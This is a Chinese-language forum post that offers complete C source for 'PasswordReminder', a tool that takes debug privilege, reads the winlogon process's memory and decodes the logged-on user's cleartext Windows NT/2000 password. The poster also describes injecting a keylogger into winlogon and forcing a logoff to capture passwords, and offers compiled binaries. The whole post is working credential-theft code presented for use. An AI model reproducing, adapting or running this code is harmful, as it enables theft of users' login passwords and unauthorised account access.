我这里有个c的,用了很多未公开的api。<br>我有编译好的,要得话告诉我。我还有个方法用delphi实现的:将一个记录键盘的进程插入<br>winlogon,然后强迫用户注销,这个进城在winlogon里,注销了也还在。就可以得到密码。<br><br><br>// PasswordReminder.cpp<br>//<br>// This code is licensed under the terms of the GPL (gnu public license).<br>//<br><br>#include <windows.h><br>#include <tchar.h><br>#include <stdio.h><br><br>typedef struct _UNICODE_STRING <br>{<br> USHORT Length;<br> USHORT MaximumLength;<br> PWSTR Buffer;<br>} UNICODE_STRING, *PUNICODE_STRING;<br><br>// Undocumented typedef's<br>typedef struct _QUERY_SYSTEM_INFORMATION<br>{<br> DWORD GrantedAccess;<br> DWORD PID;<br> WORD HandleType;<br> WORD HandleId;<br> DWORD Handle;<br>} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;<br>typedef struct _PROCESS_INFO_HEADER<br>{<br> DWORD Count;<br> DWORD Unk04;<br> DWORD Unk08;<br>} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;<br>typedef struct _PROCESS_INFO<br>{<br> DWORD LoadAddress;<br> DWORD Size;<br> DWORD Unk08;<br> DWORD Enumerator;<br> DWORD Unk10;<br> char Name [0x108];<br>} PROCESS_INFO, *PPROCESS_INFO;<br>typedef struct _ENCODED_PASSWORD_INFO<br>{<br> DWORD HashByte;<br> DWORD Unk04;<br> DWORD Unk08;<br> DWORD Unk0C;<br> FILETIME LoggedOn;<br> DWORD Unk18;<br> DWORD Unk1C;<br> DWORD Unk20;<br> DWORD Unk24;<br> DWORD Unk28;<br> UNICODE_STRING EncodedPassword;<br>} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;<br><br>typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD);<br>typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);<br>typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);<br>typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);<br>typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING);<br><br>// Private Prototypes<br>BOOL IsWinNT (void);<br>BOOL IsWin2K (void);<br>BOOL AddDebugPrivilege (void);<br>DWORD FindWinLogon (void);<br>BOOL LocatePasswordPageWinNT (DWORD, PDWORD);<br>BOOL LocatePasswordPageWin2K (DWORD, PDWORD);<br>void DisplayPasswordWinNT (void);<br>void DisplayPasswordWin2K (void);<br><br>// Global Variables<br>PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;<br>PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;<br>PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;<br>PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;<br>PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;<br><br>DWORD PasswordLength = 0;<br>PVOID RealPasswordP = NULL;<br>PVOID PasswordP = NULL;<br>DWORD HashByte = 0;<br>wchar_t UserName [0x400];<br>wchar_t UserDomain [0x400];<br><br>int __cdecl <br> main<br> (int argc, <br> char* argv[])<br>{<br> printf ("/n/tPasswordReminder/n/n");<br> if ((!IsWinNT ())<br> &&<br> (!IsWin2K ()))<br> {<br> printf ("Windows NT or Windows 2000 are required./n");<br> return (0);<br> }<br><br> // Add debug privilege to PasswordReminder - <br> // this is needed for the search for Winlogon.<br> if (!AddDebugPrivilege ())<br> {<br> printf <br> ("Unable to add debug privilege./n");<br> return (0);<br> }<br> printf ("The debug privilege has been added to PasswordReminder./n");<br><br> HINSTANCE hNtDll = <br> LoadLibrary <br> ("NTDLL.DLL");<br> pfnNtQuerySystemInformation =<br> (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress <br> (hNtDll, <br> "NtQuerySystemInformation");<br> pfnRtlCreateQueryDebugBuffer =<br> (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress <br> (hNtDll, <br> "RtlCreateQueryDebugBuffer");<br> pfnRtlQueryProcessDebugInformation =<br> (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress <br> (hNtDll, <br> "RtlQueryProcessDebugInformation");<br> pfnRtlDestroyQueryDebugBuffer =<br> (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress <br> (hNtDll, <br> "RtlDestroyQueryDebugBuffer");<br> pfnRtlRunDecodeUnicodeString =<br> (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress <br> (hNtDll, <br> "RtlRunDecodeUnicodeString");<br><br> // Locate WinLogon's PID - need debug privilege and admin rights.<br> DWORD WinLogonPID =<br> FindWinLogon ();<br> if (WinLogonPID == 0)<br> {<br> printf <br> ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL./n");<br> printf <br> ("PasswordReminder is unable to find the password in memory./n");<br> FreeLibrary <br> (hNtDll);<br> return (0);<br> }<br> printf <br> ("The WinLogon process id is %d (0x%8.8lx)./n", <br> WinLogonPID, <br> WinLogonPID);<br><br> // Set values to check memory block against.<br> memset <br> (UserName, <br> 0, <br> sizeof (UserName));<br> memset <br> (UserDomain, <br> 0, <br> sizeof (UserDomain));<br> GetEnvironmentVariableW <br> (L"USERNAME", <br> UserName, <br> 0x400);<br> GetEnvironmentVariableW <br> (L"USERDOMAIN", <br> UserDomain, <br> 0x400);<br><br> // Locate the block of memory containing <br> // the password in WinLogon's memory space.<br> BOOL FoundPasswordPage = FALSE;<br> if (IsWin2K ())<br> FoundPasswordPage =<br> LocatePasswordPageWin2K <br> (WinLogonPID, <br> &PasswordLength);<br> else<br> FoundPasswordPage =<br> LocatePasswordPageWinNT <br> (WinLogonPID, <br> &PasswordLength);<br><br> if (FoundPasswordPage)<br> {<br> if (PasswordLength == 0)<br> {<br> printf <br> ("The logon information is: %S/%S./n", <br> UserDomain, <br> UserName);<br> printf <br> ("There is no password./n");<br> }<br> else<br> {<br> printf <br> ("The encoded password is found at 0x%8.8lx and has a length of %d./n", <br> RealPasswordP, <br> PasswordLength);<br> // Decode the password string.<br> if (IsWin2K ())<br> DisplayPasswordWin2K ();<br> else<br> DisplayPasswordWinNT ();<br> }<br> }<br> else<br> printf <br> ("PasswordReminder is unable to find the password in memory./n");<br><br> FreeLibrary <br> (hNtDll);<br> return (0);<br>} // main<br><br>BOOL<br> IsWinNT<br> (void)<br>{<br> OSVERSIONINFO OSVersionInfo;<br> OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);<br> if (GetVersionEx <br> (&OSVersionInfo))<br> return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);<br> else<br> return (FALSE);<br>} // IsWinNT<br><br>BOOL<br> IsWin2K<br> (void)<br>{<br> OSVERSIONINFO OSVersionInfo;<br> OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);<br> if (GetVersionEx <br> (&OSVersionInfo))<br> return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)<br> &&<br> (OSVersionInfo.dwMajorVersion == 5));<br> else<br> return (FALSE);<br>} // IsWin2K<br><br>BOOL <br> AddDebugPrivilege <br> (void)<br>{<br> HANDLE Token;<br> TOKEN_PRIVILEGES TokenPrivileges, PreviousState;<br> DWORD ReturnLength = 0;<br> if (OpenProcessToken <br> (GetCurrentProcess (), <br> TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, <br> &Token))<br> if (LookupPrivilegeValue <br> (NULL, <br> "SeDebugPrivilege", <br> &TokenPrivileges.Privileges[0].Luid))<br> {<br> TokenPrivileges.PrivilegeCount = 1;<br> TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br> return <br> (AdjustTokenPrivileges<br> (Token,<br> FALSE,<br> &TokenPrivileges,<br> sizeof (TOKEN_PRIVILEGES),<br> &PreviousState,<br> &ReturnLength));<br> }<br> return (FALSE);<br>} // AddDebugPrivilege<br><br>// Note that the following code eliminates the need<br>// for PSAPI.DLL as part of the executable.<br>DWORD <br> FindWinLogon <br> (void)<br>{<br>#define INITIAL_ALLOCATION 0x100<br> DWORD rc = 0;<br> DWORD SizeNeeded = 0;<br> PVOID InfoP = <br> HeapAlloc <br> (GetProcessHeap (),<br> HEAP_ZERO_MEMORY,<br> INITIAL_ALLOCATION);<br> // Find how much memory is required.<br> pfnNtQuerySystemInformation <br> (0x10, <br> InfoP, <br> INITIAL_ALLOCATION, <br> &SizeNeeded);<br> HeapFree <br> (GetProcessHeap (),<br> 0,<br> InfoP);<br> // Now, allocate the proper amount of memory.<br> InfoP = <br> HeapAlloc <br> (GetProcessHeap (),<br> HEAP_ZERO_MEMORY,<br> SizeNeeded);<br> DWORD SizeWritten = SizeNeeded;<br> if (pfnNtQuerySystemInformation <br> (0x10, <br> InfoP, <br> SizeNeeded, <br> &SizeWritten))<br> {<br> HeapFree <br> (GetProcessHeap (),<br> 0,<br> InfoP);<br> return (0);<br> }<br> DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);<br> if (NumHandles == 0)<br> {<br> HeapFree <br> (GetProcessHeap (),<br> 0,<br> InfoP);<br> return (0);<br> }<br> PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =<br> (PQUERY_SYSTEM_INFORMATION) InfoP;<br> DWORD i;<br> for (i = 1; i <= NumHandles; i++)<br> {<br> // "5" is the value of a kernel object type process.<br> if (QuerySystemInformationP->HandleType == 5)<br> {<br> PVOID DebugBufferP =<br> pfnRtlCreateQueryDebugBuffer <br> (0, <br> 0);<br> if (pfnRtlQueryProcessDebugInformation <br> (QuerySystemInformationP->PID,<br> 1,<br> DebugBufferP) == 0)<br> {<br> PPROCESS_INFO_HEADER ProcessInfoHeaderP =<br> (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);<br> DWORD Count =<br> ProcessInfoHeaderP->Count;<br> PPROCESS_INFO ProcessInfoP =<br> (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));<br> if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)<br> {<br> DWORD i;<br> DWORD dw = (DWORD) ProcessInfoP;<br> for (i = 0; i < Count; i++)<br> {<br> dw += sizeof (PROCESS_INFO);<br> ProcessInfoP = (PPROCESS_INFO) dw;<br> if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)<br> return (0);<br> if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)<br> rc = <br> QuerySystemInformationP->PID;<br> }<br> if (DebugBufferP)<br> pfnRtlDestroyQueryDebugBuffer <br> (DebugBufferP);<br> HeapFree <br> (GetProcessHeap (),<br> 0,<br> InfoP);<br> return (rc);<br> }<br> }<br> if (DebugBufferP)<br> pfnRtlDestroyQueryDebugBuffer <br> (DebugBufferP);<br> }<br> DWORD dw = (DWORD) QuerySystemInformationP;<br> dw += sizeof (QUERY_SYSTEM_INFORMATION);<br> QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;<br> }<br> HeapFree <br> (GetProcessHeap (),<br> 0,<br> InfoP);<br> return (rc);<br>} // FindWinLogon<br><br>BOOL <br> LocatePasswordPageWinNT <br> (DWORD WinLogonPID, <br> PDWORD PasswordLength)<br>{<br>#define USER_DOMAIN_OFFSET_WINNT 0x200<br>#define USER_PASSWORD_OFFSET_WINNT 0x400<br> BOOL rc = FALSE;<br> HANDLE WinLogonHandle =<br> OpenProcess <br> (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, <br> FALSE, <br> WinLogonPID);<br> if (WinLogonHandle == 0)<br> return (rc);<br> *PasswordLength = 0;<br> SYSTEM_INFO SystemInfo;<br> GetSystemInfo <br> (&SystemInfo);<br> DWORD PEB = 0x7ffdf000; <br> DWORD BytesCopied = 0;<br> PVOID PEBP = <br> HeapAlloc<br> (GetProcessHeap (),<br> HEAP_ZERO_MEMORY,<br> SystemInfo.dwPageSize);<br> if (!ReadProcessMemory<br> (WinLogonHandle,<br> (PVOID) PEB,<br> PEBP,<br> SystemInfo.dwPageSize,<br> &BytesCopied))<br> {<br> CloseHandle <br> (WinLogonHandle);<br> return (rc);<br> }<br> // Grab the value of the 2nd DWORD in the TEB.<br> PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));<br> MEMORY_BASIC_INFORMATION MemoryBasicInformation;<br> if (VirtualQueryEx<br> (WinLogonHandle,<br> (PVOID) *WinLogonHeap,<br> &MemoryBasicInformation,<br> sizeof (MEMORY_BASIC_INFORMATION)))<br> if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)<br> &&<br> ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))<br> {<br> PVOID WinLogonMemP = <br> HeapAlloc<br> (GetProcessHeap (),<br> HEAP_ZERO_MEMORY,<br> MemoryBasicInformation.RegionSize);<br> if (ReadProcessMemory<br> (WinLogonHandle,<br> (PVOID) *WinLogonHeap,<br> WinLogonMemP,<br> MemoryBasicInformation.RegionSize,<br> &BytesCopied))<br> {<br> DWORD i = (DWORD) WinLogonMemP;<br> DWORD UserNamePos = 0;<br> // The order in memory is UserName followed by the UserDomain.<br> do<br> {<br> if ((wcscmp (UserName, (wchar_t *) i) == 0)<br> &&<br> (wcscmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))<br> {<br> UserNamePos = i;<br> break;<br> }<br> i += 2;<br> } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);<br> if (UserNamePos)<br> {<br> PENCODED_PASSWORD_INFO EncodedPasswordInfoP =<br> (PENCODED_PASSWORD_INFO) <br> ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);<br> FILETIME LocalFileTime;<br> SYSTEMTIME SystemTime;<br> if (FileTimeToLocalFileTime<br> (&EncodedPasswordInfoP->LoggedOn,<br> &LocalFileTime))<br> if (FileTimeToSystemTime<br> (&LocalFileTime,<br> &SystemTime))<br> printf <br> ("You logged on at %d/%d/%d %d:%d:%d/n",<br> SystemTime.wMonth,<br> SystemTime.wDay,<br> SystemTime.wYear,<br> SystemTime.wHour,<br> SystemTime.wMinute,<br> SystemTime.wSecond);<br> *PasswordLength = <br> (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);<br> HashByte = <br> (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;<br> RealPasswordP = <br> (PVOID) (*WinLogonHeap + <br> (UserNamePos - (DWORD) WinLogonMemP) + <br> USER_PASSWORD_OFFSET_WINNT + 0x34);<br> PasswordP = <br> (PVOID) ((PBYTE) (UserNamePos + <br> USER_PASSWORD_OFFSET_WINNT + 0x34));<br> rc = TRUE;<br> }<br> }<br> }<br><br> HeapFree<br> (GetProcessHeap (),<br> 0,<br> PEBP);<br> CloseHandle <br> (WinLogonHandle);<br> return (rc);<br>} // LocatePasswordPageWinNT<br><br>BOOL <br> LocatePasswordPageWin2K <br> (DWORD WinLogonPID, <br> PDWORD PasswordLength)<br>{<br>#define USER_DOMAIN_OFFSET_WIN2K 0x400<br>#define USER_PASSWORD_OFFSET_WIN2K 0x800<br> HANDLE WinLogonHandle =<br> OpenProcess <br> (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, <br> FALSE, <br> WinLogonPID);<br> if (WinLogonHandle == 0)<br> return (FALSE);<br> *PasswordLength = 0;<br> SYSTEM_INFO SystemInfo;<br> GetSystemInfo <br> (&SystemInfo);<br> DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;<br> DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;<br> DWORD Increment = SystemInfo.dwPageSize;<br> MEMORY_BASIC_INFORMATION MemoryBasicInformation;<br> while (i < MaxMemory)<br> {<br> if (VirtualQueryEx<br> (WinLogonHandle,<br> (PVOID) i,<br> &MemoryBasicInformation,<br> sizeof (MEMORY_BASIC_INFORMATION)))<br> {<br> Increment = MemoryBasicInformation.RegionSize;<br> if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)<br> &&<br> ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))<br> {<br> PVOID RealStartingAddressP =<br> HeapAlloc <br> (GetProcessHeap (),<br> HEAP_ZERO_MEMORY,<br> MemoryBasicInformation.RegionSize);<br> DWORD BytesCopied = 0;<br> if (ReadProcessMemory<br> (WinLogonHandle,<br> (PVOID) i,<br> RealStartingAddressP,<br> MemoryBasicInformation.RegionSize,<br> &BytesCopied))<br> {<br> if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)<br> &&<br> (wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))<br> {<br> RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);<br> PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);<br> // Calculate the length of encoded unicode string.<br> PBYTE p = (PBYTE) PasswordP;<br> DWORD Loc = (DWORD) p;<br> DWORD Len = 0;<br> if ((*p == 0)<br> &&<br> (* (PBYTE) ((DWORD) p + 1) == 0))<br> ;<br> else<br> do<br> {<br> Len++;<br> Loc += 2;<br> p = (PBYTE) Loc;<br> } while <br> (*p != 0);<br> *PasswordLength = Len;<br> CloseHandle <br> (WinLogonHandle);<br> return (TRUE);<br> }<br> }<br> HeapFree <br> (GetProcessHeap (),<br> 0,<br> RealStartingAddressP);<br> }<br> }<br> else<br> Increment = SystemInfo.dwPageSize;<br> // Move to next memory block.<br> i += Increment;<br> }<br> CloseHandle <br> (WinLogonHandle);<br> return (FALSE);<br>} // LocatePasswordPageWin2K<br><br>void <br> DisplayPasswordWinNT <br> (void)<br>{<br> UNICODE_STRING EncodedString;<br> EncodedString.Length = <br> (WORD) PasswordLength * sizeof (wchar_t);<br> EncodedString.MaximumLength = <br> ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);<br> EncodedString.Buffer = <br> (PWSTR) HeapAlloc<br> (GetProcessHeap (),<br> HEAP_ZERO_MEMORY,<br> EncodedString.MaximumLength);<br> CopyMemory <br> (EncodedString.Buffer, <br> PasswordP, <br> PasswordLength * sizeof (wchar_t));<br> // Finally - decode the password.<br> // Note that only one call is required since the hash-byte<br> // was part of the orginally encoded string.<br> pfnRtlRunDecodeUnicodeString <br> ((BYTE) HashByte, <br> &EncodedString);<br> printf <br> ("The logon information is: %S/%S/%S./n", <br> UserDomain, <br> UserName, <br> EncodedString.Buffer);<br> printf <br> ("The hash byte is: 0x%2.2x./n", <br> HashByte);<br> HeapFree<br> (GetProcessHeap (),<br> 0,<br> EncodedString.Buffer);<br>} // DisplayPasswordWinNT<br><br>void <br> DisplayPasswordWin2K <br> (void)<br>{<br> DWORD i, Hash = 0;<br> UNICODE_STRING EncodedString;<br> EncodedString.Length = <br> (USHORT) PasswordLength * sizeof (wchar_t);<br> EncodedString.MaximumLength = <br> ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);<br> EncodedString.Buffer =<br> (PWSTR) HeapAlloc <br> (GetProcessHeap (),<br> HEAP_ZERO_MEMORY,<br> EncodedString.MaximumLength);<br> // This is a brute force technique since the hash-byte<br> // is not stored as part of the encoded string - :>(.<br> for (i = 0; i <= 0xff; i++)<br> {<br> CopyMemory <br> (EncodedString.Buffer, <br> PasswordP, <br> PasswordLength * sizeof (wchar_t));<br> // Finally - try to decode the password.<br> pfnRtlRunDecodeUnicodeString <br> ((BYTE) i, <br> &EncodedString);<br> // Check for a viewable password.<br> PBYTE p = (PBYTE) EncodedString.Buffer;<br> BOOL Viewable = TRUE;<br> DWORD j, k;<br> for (j = 0; (j < PasswordLength) && Viewable; j++)<br> {<br> if ((*p)<br> &&<br> (* (PBYTE)(DWORD (p) + 1) == 0))<br> {<br> if (*p < 0x20)<br> Viewable = FALSE;<br> if (*p > 0x7e)<br> Viewable = FALSE;<br> }<br> else<br> Viewable = FALSE;<br> k = DWORD (p);<br> k++; k++;<br> p = (PBYTE) k;<br> }<br> if (Viewable)<br> {<br> printf <br> ("The logon information is: %S/%S/%S./n", <br> UserDomain, <br> UserName, <br> EncodedString.Buffer);<br> printf <br> ("The hash byte is: 0x%2.2x./n", <br> i);<br> }<br> }<br> HeapFree <br> (GetProcessHeap (),<br> 0,<br> EncodedString.Buffer);<br>} // DisplayPasswordWin2K<br><br>// end PasswordReminder.cpp